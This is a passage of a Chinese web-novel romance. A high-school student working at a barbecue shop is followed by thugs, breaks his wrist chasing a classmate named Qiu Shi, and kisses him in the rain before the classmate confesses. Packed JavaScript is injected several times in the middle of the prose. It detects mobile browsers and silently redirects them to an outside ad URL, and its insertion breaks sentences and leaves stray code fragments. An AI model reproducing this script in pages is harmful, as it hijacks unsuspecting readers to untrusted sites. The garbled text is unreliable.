以往在大课间的时候,一群狗腿子总乌泱泱地往那个角落献宝,吃的喝的玩的,各种乐子层出不穷。而那个姓裘的就坐在人群中心,单腿撑着桌杠,歪头听着荤段,再隔着半个教室朝他高频挑眉。 有时候确实把原晢逗得挺烦的。 可现在,看到桌上的东西都浅浅积了一层灰,他心里又不是滋味起来。 不是……现在到底是怎么一个情况啊? 就发酒疯亲了一下,至于吗? 至于吗! 至于吗! 亲完就跑,这都躲多少天了也不见影,不用高考就是爽是吧?嘚瑟个什么劲儿啊,这人要再不回来,街上新关的几家店都要逃租了! 那可都是钱啊!!! 钱啊!!! 突然有人敲了敲窗玻璃,原晢回过头,是楼下1班的王早星。 “今晚放学有时间留校吗?”王早星在窗外给原晢递了一张便利贴。 “嗯?”原晢接过便利贴,上面标注了好些疑难杂症题,估计王早星是想自习课后和他一起探讨来着。 “我晚上要去烧烤铺待一会儿,放空大脑。”原晢抱歉地朝他笑笑,“我把题刷完再找你?” “也行,本来想看看你的解题思路什么的,做完再一起过也好。”王早星点了一下头,表示认可:“这样效率更高。” 窗边的脚步正准备离开,又突然停了下来。 “你好像每晚都去,是那家换了老板的店吗?”王早星问。 “嗯,赚点饭钱。”原晢说。 少年从不避讳自己是个穷人,特别是在侯老板正式推出“揽客补贴”后,他恨不得全天下都知道他是那家土味烧烤铺的一员。 “高考全省占前排的话……也不用前几,只要排得上号,学校都是有奖励的,而且平时月考排名也统计奖学金,明年六月会在毕业典礼上一起发,还是不要为了这点小钱分心好。”王早星好心提醒:“人哪有那么多精力可以烧,一天就二十四个小时,我们当学生的,弄好学习就行了。” “每天都去怎么行,你这次考试都退步了,就不怕影响成绩吗?” 王早星又补了一句:“骄兵必败啊。” 原晢:“……” 现在好学生说话都这么直接吗? 顶楼教室时常会混进楼下的人,但大多是来打游戏约饭的,大课间休息这会儿班里总是闹哄哄,原晢已经见怪不怪了。而1班的王早星是本部校区唯一能杀进年级前一百的资优生,每天都穿着板正的校服,非常有学生样。 这人认真上进且守规矩,每次上楼都只在走廊外小站一会儿,从不随意进出别班教室。 原晢还挺欣赏他的。 毕竟在这废弃环境混了十几年,也算是出淤泥而不染了。 只是他经常接不上这人的话。 退步?啥叫退步?他上次考试年级排名10,这次排名11,就这特么的丁点儿差距就要跳脚了吗? 要高考的好学生果然容易魔怔啊…… 怪不得夏总一百个反对他去新校区,宁可他不务正业也不能天天学习,更是隔三差五就要确认一下他脑子还正不正常…… 退步。 啧,他确实退步了。 “哎,学霸。”盯住王早星下楼后,孙晨直接蹦到了原晢耳边,神秘兮兮地说:“要不,你以后还是离这人远一点吧,他这摆明是在搞你心态,阴险。” “没错。”赵晨点头。 看着难得统一战线的两个晨,原晢问:“怎么说?” “我妈以前总和我说,做人第一,其他靠后,虽然现在她每天都急火攻心忘了这话,但我已经深深领悟了精髓!”孙晨得意说明。 “不是讲你。”赵晨朝话唠孙翻了个白眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207345|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀,总要酝酿一下嘛,得挑个重点事件出来。” 孙晨咳了两下,琢磨着怎么进入正题—— “小王这人吧,就,就有点……怎么说呢,特小心眼儿!反正我从小就不喜欢和他混一起,从幼儿园开始,这人就总喜好压人一头,特别是在家长老师面前,装得很,各种给你挖坑埋土里,超级没品!” “小事我都不说了,就说高一刚入学那会儿,他看上个妹子又不敢追,天天变着法子在旁边催人学习,哎哟,满嘴爹味,这搁谁谁受得了啊?” “长得贼眉鼠眼的,考试排名又不高,他那时候撑死也就年级前五百左右吧,在这里趾高气昂把自己当个宝,挺傻逼的。”孙晨啧啧了两声,嫌弃道:“后来那姑娘烦了,就和老师申请换位置,虽然什么都没明说吧,但这一举动深深伤害了王某的自尊心,他就记住了。” “他就记住了,他记住了!” 孙晨开始渲染气氛:“于是,在一个夜黑风高,凄风苦雨,寒风瑟瑟的晚上,王某趁四下无人之时,竟偷偷尾随在……” “讲重点。” 废话多到预备都铃响了,赵晨不得不拍了孙晨一脑壳,开启倒计时:“我们侯老师还有90秒到达现场。” “那妹子在操场和裘爷告白被全程录制发学校树洞里了!” “全程!”孙晨赶紧一口气输出:“从头到尾,怎么说的,怎么被拒的,怎么挽留的,怎么一路哭回去的,全特么给录下来了!” “还配文说什么麻雀要飞枝头变凤凰,摔个什么稀巴烂。”孙晨翻着手机找证据,紧急说明道:“牛逼吧?我这儿还有截屏呢,虽然大家懒得深挖,但发帖人的手机型号就是那个,老机子了,这里没几个人用,绝对是他!” “反正什么倒贴,贱货,不要脸,这些词都写正文里了,哎哟喂,不知道的人还以为他看上裘爷了呢!” “真的是,啧,这让人家小姑娘情何以堪啊,高一下就直接出国念了,再也没回来,她叫啥来着……”孙晨嘲讽着,伺机朝赵晨输出刚刚欠下的一脑壳:“你初恋啊老赵!” “蒋昕昕。”赵晨无语道:“什么我初恋,我哪敢啊,当时不都传她是裘爷的娃娃亲对象吗?” “哦对对,但其实她不是这附近的,只是名字凑巧和旦姐同一规格罢了。”孙晨比划着说,“后来因为这情况闹得有点大,裘爷还好心给她送了一堆补偿呢,各种礼品券代金券啥的,厚厚一沓给她当作精神慰问,特厚,厚死了,那可都是钱啊!” “然后就成了一种新风尚。”赵晨坐回位置补充。 “没错!”孙晨满脸妒意,恨得咬牙切齿:“从那以后,裘爷每拒一个姑娘就送一个大礼包,各种现金券商超卡商城VIP,反正和直接送钱差不多了!钱!钱!都是钱啊!!!” “树洞里还有人统计过,裘爷这几年光是散桃花就花了六位数!六位数啊!简直天天送钱!!!” “我都怀疑那群妹子是搞诈骗的了!就算咱裘爷够帅,但她们咋都一个审美呢,光说这数,个十百千万……”孙晨摁着指头,心痛地长叹一声:“哎,我要是妹子就好了,我也要去和裘爷告白,然后哭哭,再美美拿钱呜呜呜……” “话说裘爷这回是去哪儿了,怎么这么久都没回来,还怪想他的……” “裘爷呜呜呜……” 剩下的话原晢是一点都听不进去了。 裘时给了那些姑娘多少? 多少??? 那他呢?他算什么! 他可是被那个姓裘的直接上嘴啃了啊! 这特么肉/体和灵魂的双重打击!每颗细胞都遭受了巨大的伤害!慰问金好说歹说都要翻上几番吧! 可那个姓裘的人呢! 人呢!!! 12. 约定 烧烤铺突然冒出许多大型机器,拆下来的箱子泡沫都快把晚间客人挤过道上了,黑围裙大哥们正紧锣密鼓加紧调试,实在搞不定的只能先搬后院放着。其中就包括一台最新研发的自动串串机。 “我要失业了?”原晢指着那台新机子问。 “怎么可能呢,机器只是提高效率的一种手段,拥有智慧和学识的人类才是咱小店的核心力量。”侯清洋笑着说。 “哔——” 话音刚落,串串机又跳闸了。 “等了快一个月才送到,真是够久的,但这玩意儿到底是智能还是智障啊?”侯清洋拍了拍刚通电就跳闸的机子,顶着一头问号开始研究手里的使用说明书,和原晢商量道:“要不先找点串儿来试试?” “……看起来挺智障的。”原晢嫌弃地看了眼时亮时灭的机器指示灯,转身进了后厨,“我去找点东西来。” “豆皮,拿豆皮,豆皮便宜!”侯清洋喊道,“随便丢不肉疼!” “……”原晢换掉了手里的肉类,从货架取下一袋未经加工的豆皮,准备看看这个大家伙的刀工如何。 大概和他半斤八两。 “来来来,说是什么进口技术,老贵了,还是我们裘爷赞助的呢。”侯清洋愉悦地朝原晢眨眨眼,顺手拿起几块豆皮往里丢,一点不心疼:“就是看着不怎么灵光……哎,怎么全吃进去了,快吐,吐!” 原晢:“……”这机器果真智障。 两人按照操作指南放进不少原料,折腾了半天也不见串串机吐出一口丝,开局惨败。 “还是要多多感谢咱的财神爷,有空得好好研究一下,是不是哪根线接错了……”侯清洋拿着说明书看了又看,“故障自查也没见过这种情况。” “这是脑子坏了吧。”原晢捶了一把宛若宕机的笨重家伙,转过身问:“裘老板经常送这种智障玩意儿吗?” “也没有。”侯清洋笑着,意味深长地挑了个眉,面朝某位大财神的亲眷说:“整条街就咱的99小店有这待遇,大概也是这名字深得人心吧。” “99,长长久久。” “嘿嘿,能碰上这么个出手阔绰的爷,又是慷慨免租又是热情赞助的,在下实在三生有幸啊!” 正在收拾豆皮的原晢:“……” 原晢听得出这话外音,但他不想应答。 不能应答。 否则总是一不小心就掉坑……鬼知道侯清洋除了娃娃亲还知道什么! “最近怎么都没见着人了?”看原晢没说话,侯清洋继续问道:“这都好几周了,裘爷以前可是天天来视察的,现在搞得大家心里都没谱,万一有情况我都不知道上哪儿汇报去。” 继续收拾豆皮的原晢:“……不知道。” 问我干啥!我哪知道!那个姓裘的爱死哪死哪! 他有本事永远别回来!!! “啧,之前不是天天粘一块儿吗,正常上个夜班都要下楼查查岗,生怕我这小店苛责员工什么的。”侯清洋挑了挑眉,小声试探:“小俩口吵架啦?” 某些不好的回忆突然在脑子里扎堆涌现,原晢厚着脸皮开始拿签穿串。 吵架?吵个屁! 他倒是想吵来着,音量都调好了,结果根本逮不到人! …… 那晚明明是打架!打架!嘴皮子打了一架! “别开玩笑了侯哥,你也知道娃娃亲是假的,都什么陈年旧事了。”原晢面无表情地说,“我这刚搬回来,谁也不认识,凑巧住他楼上罢了。” “嗯?”侯清洋顿了一下,抬眼问:“你们以前没见过吗?” “没有吧,夏老师搬走后我们全家都没回过这边,一年最多在临安待两三天,不是在酒店就是在医院。”原晢说,“没机会认识什么人。” “这样啊,我还以为……”侯清洋若有所思。 “怎么了?”原晢问。 “没什么,就是想起那些逝去的青春岁月了,哎哟,我竟然比你们大了快一轮啊,真老。”侯清洋无奈笑了笑,朝窗外指着远方的高楼说:“其实裘爷也不是一开始就住杨老师家的,他家在街对面的繁华区,喏,就那栋最高的中心住宅楼。” “我那时想学画走艺考,天天蹲在杨老师的画室里躲老侯,就总看到有个小人在楼下晃荡,白天也在,晚上也在,没人管也不上学,挺奇怪的。”侯清洋回忆道,“杨老师怕他出事,就想着先把他带回家里,让我下楼把人哄上来。” “可小裘爷脾气老倔了,问他叫什么,家在哪里,怎么问都撬不开口,就只是气汹汹地盯着你,和兜里鼓鼓的人民币有得一拼,最后我们不得不报了警。” “毕竟一般小鬼哪来这么多现金嘛。”侯清洋乐道:“也是后来才知道,这小孩竟然掌管着整条街的经济命脉,本以为是走丢的,结果是来视察的,怪不得没好脸色呢。” “当晚杨老师和民警把他送回了家,本以为这事儿就这么过去了,结果第二天,这小孩又出现了。” “单元楼里住的都是老一辈,同龄小孩大多和父母一起搬出去了,根本没人和他玩。杨老师以为他是想学画,还给他买了新画笔,但后来怎么也叫不进屋。” “就是不进屋。” 侯清洋想了一下,才继续说:“他说他不能走,他在等人。” “不知道要等谁,但他们约好了。” - 原晢愣了好一会儿。 他脑子里嗡嗡闪过一些年岁久远的画面,直到侯清洋被叫走才缓缓回过神。 那个姓裘的一直住在201,是因为他一直在等人吗? 他在等谁?他和谁约好了? 他会不会就是…… 原晢早已记不清大富翁的模样。 一整个下午,他都小跑似的跟在大富翁身后,视线范围内只有那混杂蚊子包和红肿抓痕的手臂,还有口袋里同样膨胀的百元大钞。 那个姓裘的会是大富翁么? 不太像。 大富翁是无情寡言型的,那个姓裘的性格简直臭屁,要撞见这么桩“喜事”绝不可能憋在心里,肯定拿着大喇叭天天追在屁股后面嘲笑他。 确实不太像。 可是…… 原晢一晚上都有些心不在焉,这已经是他第三次把菜品送错了。 好在这桌客人特别客气,不计较也不催单,只是偶尔趁他转身时会用一种看傻逼的眼神盯着他。 也能理解吧,今晚他看起来确实傻逼的。 原晢望着投射在玻璃上的反光画面,突然觉得这两个人特别眼熟。 极其眼熟。 他赶紧跑到吧台区查监控。 得益于眼镜男的骚扰功力,申经街每个铺面都严格按照裘爷的指示统一更新了黑名单系统,画像通缉者不得入内。 这几周眼镜男倒是没再出现过,但不排除他会安排某些闲杂人等过来盯梢。毕竟那个姓裘的失踪了,眼镜男看不到心上人肯定也着急,保不齐今晚就要亲自上阵。 原晢翻了一圈人脸识别系统,这俩混子虽然不在黑名单里,但近两周确实隔三差五就要进店一次,其中一个进出都戴着鸭舌帽,另一个鼻子有点歪,不难辨认。 不知道他们是冲人来的,还是冲菜来的。 侯老板最近研发了一堆新食谱,烧烤铺的回头客确实多了不少……或许只是凑巧? 但原晢的眼皮又开始跳了。 少年清澈的双眼正按照某种规律来回抖动,渐有破功之势,掐着某根神经疯狂蹦迪。 哈欠连天的原晢:“……” 罢了,趁早回家洗洗睡吧。 他最近真的太疲惫了。 原晢帮忙给几桌客人结账后就提前下了班。 还没到晚十点,路上还能看到三三两两出门夜游的人群,附近几条街都不至于太冷清。他依旧在意刚刚那两张嘴脸,特意选了距离翻倍的大马路,计划先从申经街横穿枢纽处的街心花园,再从另一路口拐入职工宿舍所在的小巷,以此确认今晚的眼皮到底有没有白跳。 原晢一步三回头,就想看看会不会有人跟上来。 跟上来了。 他在街心花园的广告牌上看到了,那两道躬身驼背的猥琐体态就定在身后的红绿灯旁,帽子男刚好点燃一支烟,正在帮歪鼻男吹着另一支,但怎么也打不着火。 他们为什么要跟着自己? 会是眼镜男的人吗? 他们到底想干什么? 因为绑不到那个姓裘的,所以准备拿他去替死? 到底是谁坐实了他和那个姓裘的关系? 他和那个姓裘的有个屁关系! 难道是那天晚上的意外……被人看到了?! 原晢依旧哈欠连天,根本搞不清楚状况。他只知道现在不该回家,职工宿舍楼下没有安保人员,如果不小心陷入死胡同,他的处境只会更危险。 要往光亮处走,往人群中走。 最好能伺机把这俩混子甩掉。 原晢望着大道另一端的繁华夜色,突然收回了即将迈出的步伐。 不对。 甩不掉的。 单单凭个似有若无的娃娃亲传闻,眼镜男都能直接在街上锁定他,他的个人信息家庭住址近乎透明,即使今天不被尾随回家,明天也可能直接被堵在楼下。 甩不掉的。 只能正面交锋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207346|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至少,要搞清楚这些人为什么要跟着自己。 他兜里根本没几个钱,有什么好怕的?烂命一条就是干! 原晢直接原路返回。 这一片都是政府规划的旧改区,文件早就下发了,可拆迁大队的速度堪比乌龟爬,好几个地块依旧保留着老旧社区错综复杂的地形地貌,是个玩躲猫猫的好地方。 原晢拐进小巷时用余光扫了一眼,那俩混子还真跟了上来……也不知道保持点距离。 他不满地啧了一声。 大概真是眼镜男派来的小哈啰,这智商完全一脉相承,跟踪距离也越挪越近,他一回头那两个傻逼就假装看路,毫无伪装技巧可言。 至少把帽子摘一下吧? 这条路人越来越少了,还跟那么紧? 是无所谓有没有被发现吗? 这俩人到底想要什么?劫财么? 要钱没有,要命……卧槽不是来劫色的吧?! “……” 原晢心里突然腾起一阵慌张。 他抬头看了眼周遭环境,总有点羊入虎口自投罗网的意思。 怎么就挑了条小路走呢,这什么地方啊怎么连个灯都没有……他总该有点计划再带节奏吧! 可他根本没计划啊! 现在除了能确认自己真是被跟踪了还有啥!还有啥!!还有啥!!! 原晢真想给无故宕机的大脑来上一拳。 眼皮还在跳。 原晢在手机屏幕上来回拨动,思考着鸟入樊笼的当下到底要怎么脱身。他从未与人起过正面冲突,又是一对二,多少有些力不从心。加之派出所实在离得太远,没办法假装散步把这俩人送过去…… 他只能想办法智取。 或者,再找一个帮手。 找一个帮手? 看着屏幕里一滑见底的好友列表,原晢不免又啧了一声。 那个姓裘的总说身边人都是买来的,可他沿街发个面粉都能随机摇出几十号人,乌七八糟成群结队,多的是二百五愿意陪他一起丢大脸。 更别提这种紧要关头了。 申经街上的店家顾客都或多或少承了裘爷的恩,他遇事时总不会是孤身一人。 是不是真心,还有那么重要吗? 原晢无奈叹了口气,把没用的手机揣回兜里,顺道在路边捡了根粗树枝。 眼下这种情况,无论他联系谁都将是个天大的人情,还很可能让对方也同样陷入危险之中。 原晢没有这种不需要客气的朋友。 他连不真心的朋友都没有。 身后那两个人越离越近了。 原晢能闻到不属于老旧建筑的那层烟味。还有一阵鞋底来回碾地的声音。 灭烟了,准备干架的意思? 附近几栋楼都被清空了,只等着施工队排期拆除,夜间连盏灯都没有。 原晢的眼皮跳得更快了。 不平坦的窄路堆满了碎石和苔藓,平日里几乎无人经过,如果他在这里出了事,估计烂透了才有可能被发现…… 真不是个好地方…… 但地图显示前面有小道可以直通申经街,如果后面的恶鬼突然扑上来,那他就拼命往前跑…… 拼命往前跑…… “嘀嘀嘀嘀嘀嘀嘀——” 还没等原晢起步,一阵刺耳的警笛声突然在脚边爆发。 音效很近,震耳欲聋,稍微细想就能发现声源来自某处黑暗角落,缺少由远及近的出警实感。 但足以震慑脑子存水的两个蠢货。 原晢在混乱的脚步声中疑惑回头。 只一眼,他就看到对面废墟般的矮楼上站着一道黑影,似乎正监视着他所处的位置。 光线太暗,他无法分辨对方是敌是友。 原晢紧握着树枝,死死盯住周遭环境,生怕一不留神就被藏匿于暗夜中的混混同伙生扑了。 他能听到那俩混子的不屑叫骂。 混子跑远了。 他安全了。 “嘀——” 警报声在黑暗中戛然而止。 楼上的黑影也没多做逗留,下一瞬便消失在石柱后方。像是眨眼间的错觉。 原晢突然怔了一下。 刚刚那道离去的身影……好像有点眼熟? 非常眼熟。 南方夏季又臭又长,十月气温依旧飙升,台风预报都过期好几天了也见不到一滴雨,根本没人会在短袖外再套一件长袖衫。除非那人想装逼。 而这类瘟神,他恰好认识一个。 不是幻觉。 不是混混同伙。 刚刚站在矮楼上的那个人……是裘时! 13. 台风天 原晢从未想过自己体内竟有如此强大的爆发力。 他一口气追了那个姓裘的五条街,上楼下坡飞檐走壁,根本不带喘的。 可惜还是追不上。 秉持着寡淡王八活得久的心态,原晢已经很久没有在街上疯跑了。他向来喜静不喜动,体测都是及格就行,除了弹跳力好点,各方面体能还真敌不过同龄人。 特别是在面对某个身高腿长还练过拳的瘟神时,原晢向来只能智取,否则光凭他身上那点力气,可能连被压住的试卷都抽不回来……但今晚他的脑子明显短路。 抄近路! 眼看那个姓裘的影子即将消失在拐角,原晢灵光一闪,直接从不知道几米的大斜坡上跳了下去。 从这片杂草丛生的泥地中间穿过去就是另一条街,他记得今晚自己来过这里,这两条路是连通的! 没错,是连通的! 他看到光了,他看到光了! 这次他绝对能逮住人,绝对…… 原晢的眼皮突然就不跳了。 预告灵验了,所以眼皮不跳了。 从土坡摔下去的一瞬间,原晢清晰地听到了骨头断裂的声音。 一阵撕心裂肺的剧痛猛地从手腕处传来。 按道理,这个姿势伤的应该是脚侧,但他用仅有的防护手段大大降低了腿部受伤的概率。 可惜顾头不顾腚,惯性所带来的巨大压力全部冲到了率先落地的右手手腕上,那根被牵扯住的神经先是一麻,紧接着迫使他爆发出惊天地泣鬼神的嚎叫。 都说了他弹跳力好,以往跳高跳远出分堪比体育生,但特么的那是在沙地里跳啊! 泥地也勉强够格! 但尼玛这怎么可能是水泥地啊! 水泥地你长什么草啊!还长得死鬼茂盛!大晚上的谁能看出来!!! 原晢整个人趴在地上,姿势滑稽,眼泪痛飞,糊成一锅粥的大脑开始不断闪现过去十八年的岁月走马灯。 他短暂的一生正在眼前飞速闪过。 幼时走丢的街心花园,永不出错的全优成绩单,破产退学那天的绚丽晚霞,独属于南方盛夏的凶猛热浪……当然,还有那个突如其来的吻。 靠! 他莫名其妙就被人夺了初吻! 这茬到现在还没解决啊! 罪魁祸首还逍遥法外! 他死不瞑目啊!!! 原晢在地上度过了此生最漫长的几秒钟。 四周一片死寂,连以往夜夜笙歌的拆迁大队都了无声息,他完全不知道自己到底滚到了哪个犄角旮旯…… 手机还被甩出两米远,想要呼救人必须先爬过去…… 爬过去…… 原晢强忍着那股钻心痛起身,却又因血液循环不畅体验了一把眼冒金星,被眩晕挥洒出的万千小闪光直击要害,索性两眼一黑趴回去了。 草! 家里破产他都没这么暴躁! 他到底被谁害成了这样! 都是因为谁! 因为谁! 因为谁! 等逮住那个姓裘的!他一定要报仇雪恨!以牙还牙!以眼还眼! 砍他个三千刀都不解恨!!! 原晢感觉脑浆都要痛爆了,耳膜也跟着嗡嗡作响。他依旧保持与大地亲密接触的状态,不敢动,根本不敢动,只能缓过这阵异常汹涌的疼痛劲儿再尝试起身。 不至于吧? 不至于这么脆吧? 他总不至于毙命于此吧?! 原晢小幅度地摆动了一下四肢。 伤得最严重的是右手,手腕大概应该肯定是折了,毕竟脆弱的关节承受了不该承受的重量,保守估计要休养十天半个月才能好。 至于其他地方……原晢慢慢把双腿蜷回来,很好,腿还能动,他没瘸。 是一种劫后余生的侥幸。 刚刚应该是在地上滚了几圈,所以才头晕眼花四肢酸痛,再坚持一阵眩晕就能过去了。原晢认真思考着。 等眩晕过去后,他要爬起来捡手机,打个120把自己拖走,再拿上所有报销单去找那个姓裘的算账。医药费,误工费,精神损失费,还有那个什么大礼包……他被那个啥的大礼包! 那个姓裘的逃单逃了整整一个月,态度消极,拒不配合,情况非常之恶劣,所以这笔账他必须连本带利要回来!决不姑息! “本。” “最重要的是本。”混乱的脑子里有个声音在极力劝说:“是本,你亏了。” “你亏大发了。” 一阵干燥的闪电横穿夜空,随后是几声低沉的雷鸣。 要下雨了。 那场等候多时的台风云终于飘过来了。 原晢刚数着眼前的小星星坐起来,就在相继爆破的电闪雷鸣中捕捉到一阵急促的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207347|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。声音由远及近,夹杂着许多混乱的低响,有轻有重,有急有缓,带着透心凉的晚风从周边草堆里蹿了出来。 是什么东西? 是什么东西过来了? 这特么到底是人是鬼啊? 怎么还突然打雷了?怎么就突然打雷了! 他这到底是要历劫还是要飞升啊! 原晢又急又恼,求生的本能让他努力睁眼,可不争气的眼泪还是直接掉了下来。 完尼玛的蛋。 不管来的东西是人是鬼,以他现在这半残废的状态根本打不赢,什么都打不赢。 头顶的猛雷闪电又“轰隆”劈了下来,天际放光,疾风也在为他送行。 他要完蛋了。 原晢死死盯着面前的草堆,眼泪一直掉,大气不敢喘。 那个姓裘的果然是瘟神。 如果没有碰上瘟神,他就不会被眼镜男盯上,不会被街头混子跟踪,不会闲得发慌半夜迷路在这片废弃荒地,更不会为了逮住某个王八蛋一路加速狂飙最终摔个狗吃屎……这一切的一切,都怪那个姓裘的。 他现在很生气。 他从来没有这么生气过。 他简直要死不瞑目了。 又一阵窸窣后,几只野猫从草堆里站了出来,幽深的圆眼仅在黑暗中和他对视一秒,突然就撒腿跑开了。 毛脑袋后面还跟着一个人。 糊了吧唧的视线中,是那张让原晢死不瞑目的脸。 是那个姓裘的! 那个姓裘的竟然还敢回来? 他竟然还有脸回来? 是来还债的吗?都欠下这么久了,总该想着还了吧! 好啊!那他就不客气了! 他要一次性讨本了!!! 雷声越来越频繁,一阵又一阵亮光在漆黑的天际划过,原晢根本听不见那个姓裘的和自己说了什么。 他没想哭,只是这生理性的眼泪在疼痛刺激下根本不受控。 原晢也管不了这么多了。 他现在脑子里只有一件事,就是要讨回自己的本。 本。 最重要的是本。 本是什么?不知道。 但他决定这样做了。 原晢动了动一直撑地的略显麻痹的左手,趁裘时在面前俯身下蹲的间隙,二话不说抓住他的衣领就往上啃。 往死里啃。 14. 冲动 原晢知道,自己一定是摔出了脑震荡才能做出这种事。 更可怕的是,他竟然没有一点羞耻心。 礼尚往来而已,要什么羞耻心。 如果说上回裘时是发酒疯,那他这就是……发痛疯! 好爽! 果然人就应该时常发疯! 原晢认真且用力地啃了好几口,确认回本了就立刻撒开手,一点多余的便宜都不占。 他可不喜欢什么趁人之危的下三滥手段。 他只是要讨回自己的本而已。 本回来啦! 原晢整个人都变得神清气爽,嘴角翘得老高,甚至感受不到手腕上的疼痛。 是一种大仇得报,扬眉吐气的感觉。 这不是接吻,这是报复。 就这么吧唧啃一嘴,他心里的那点疙瘩全都散开了,现在什么毛病都没有。 人就应该多多计较,装什么清高,装什么淡雅,这下好了,扯平了。 前尘往事一笔勾销。 以后他俩就各回各家,各找各妈,从此井水不犯河水,何止妙哉! “喂。”原晢单手擦了擦嘴角,直接把用完的瘟神往外推,“起开,别挡道。” 意外的是,对方还是没有任何反应。 裘时就像被点了死穴一样定在原地,双手还保持着帮他检查腿部伤势的状态,眼里满是茫然与愣怔,仿佛刚刚经历一场大悲大喜的极致落差。 “松手,快松手。”原晢望着自己依旧被对方牢牢箍住的小腿肚,再耗下去,膝盖上的擦伤都要结痂了。 “菜场挑肉呢你。”原晢不满地说。 裘时突然笑了起来,手中的握力也松了一些,但并没有放手。 原晢可没空细想。他右边手腕还折着,再不去医院就要废了。 他也没脸继续蹲在这里等后续。 不能有后续。 绝对不能有后续。 少年暂时出逃的羞耻心正在重新聚集,人脑精算系统把这次冲动造成的各种损失严重高估,迟来的理性逐渐在糊了泥的白皙脸蛋上腾出一片红晕。 热意荡上心头。 该死!都怪这个姓裘的! 原晢想伺机起身跑掉,可裘时却不打算放过他,直接怼脸贴了上来。 “原晢,你亲我了。” “所以,”裘时坏笑地盯着掌中物,低声问:“你刚刚那么着急追我,就是为了亲一口?” 原晢:“???” 当然不是啊! 谁要亲瘟神啊! 他那是报复!报复! 他亲个屁啊亲! “原晢,你喜欢我。”裘时的目光都变得兴奋起来,顺势牵住原晢的左手,指着那块创可贴的位置向他确认:“你喜欢我,是吗?” “不,不是……我没,没,没有……”原晢努力保持镇定,可严阵以待的羞耻心还是让他不自觉移开了视线。 “我没喜欢你。”他的嗓音也开始抖了。 “不喜欢?”裘时唇角上扬,继续追着原晢的眼睛问:“不喜欢我,那你为什么亲我?” “我……”原晢一时语塞,眼神也明显变得慌张起来。 尽管他很努力在克制了。 “我就,就,不是,那什么……”原晢目光躲闪,并悄悄把骨折的手腕往后移。手很痛,但他不能叫出声。 绝对不能叫出声。 “……那你之前不也亲我了吗!”他决定以眼还眼。 “我喜欢你啊。”裘时说。 “……啊?”原晢呆了。 “原晢,我喜欢你。”裘时说。 “……不,不是,那什么……什么?”原晢努力重启,可大脑依旧宕机。 “我喜欢你。”裘时眼角带笑,语气诚恳:“很喜欢你,所以总想亲亲你,一直都想,只是那晚没忍住。” 眼看这个姓裘的越靠越近,原晢赶紧挣脱一边手制止:“……停!” 他咽了咽口水,神色慌张:“……那,那真是谢谢你了。” “下,下次……” “下次,记得忍住。”原晢说。 “好像不用忍了。”裘时歪着脑袋看他,像在欣赏上天恩赐的成人礼。 “你也喜欢我,对吗?”这个姓裘的说。 原晢瞳孔大睁,疯狂摇头。 那摇摆幅度,和周边被狂风吹得东倒西歪的杂草堆有得一拼。 在晃荡的视线中摇了几圈,原晢好像意识到了什么,逐渐把脖子定了回来,一把将放在自己身上的大手掌拍掉了。 瘟神怎么变得这么直接? 虽然瘟神一直都很直接,但原晢总感觉他今晚的动作表情都不太对。 说不出来,但就是和以前那个人不一样。 像被天雷换了魂似的。 尽管此刻这个姓裘的依旧坦诚且占上风,但原晢还是在他身上感受到了一种无法形容的局促感。 和那晚的状态倒有几分相似。 “你喝酒了吗?”原晢问。 “没,我吃药了。”裘时看着他,话语间毫无保留:“壮胆。” “啊?”原晢又呆了一下。 壮胆?壮什么胆?这世上还有他瘟神不敢做的事情吗? “我想和你道歉来的,我以为你很生气,我以为你这辈子都不想再见我了。”裘时顿了一下,眼里的雾气散去不少,整个人又恢复了往常那种松弛状态,贱兮兮地朝原晢挑了个眉:“你都把我丢杂货间了。” “真狠心啊,哥哥。” “……”原晢用力地眨了眨眼。 没毛病,这幅皮囊之下还是从前那个魂。一点都没变。 原晢不得不承认是自己多虑了。 杂货间?那算哪门子杂货间?空调,床铺,被褥,饮水机,要啥有啥,甚至连睡眠温度都给他设定好了,还不够? 难不成让他徒手捞人回去吗? 过分,太过分了。 原晢气得身子一挺,直接就和瘟神撞上了。 “我原本明天就要走了。”裘时笑着揉了揉自己被冲撞的鼻梁,缓缓朝原晢靠近,“但现在,好像可以不走了。” “你还是走,走,走吧……”心虚使原晢的声音变得极小,身子也不自觉往后退了一点。 可他还没退几毫米,双肩就再次被人按住了。 “不走了。”裘时说,“哥哥,你亲我了。” “我不走了。” 这些天,裘时一直都很害怕。 他见过那些被父亲骚扰的男人们。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 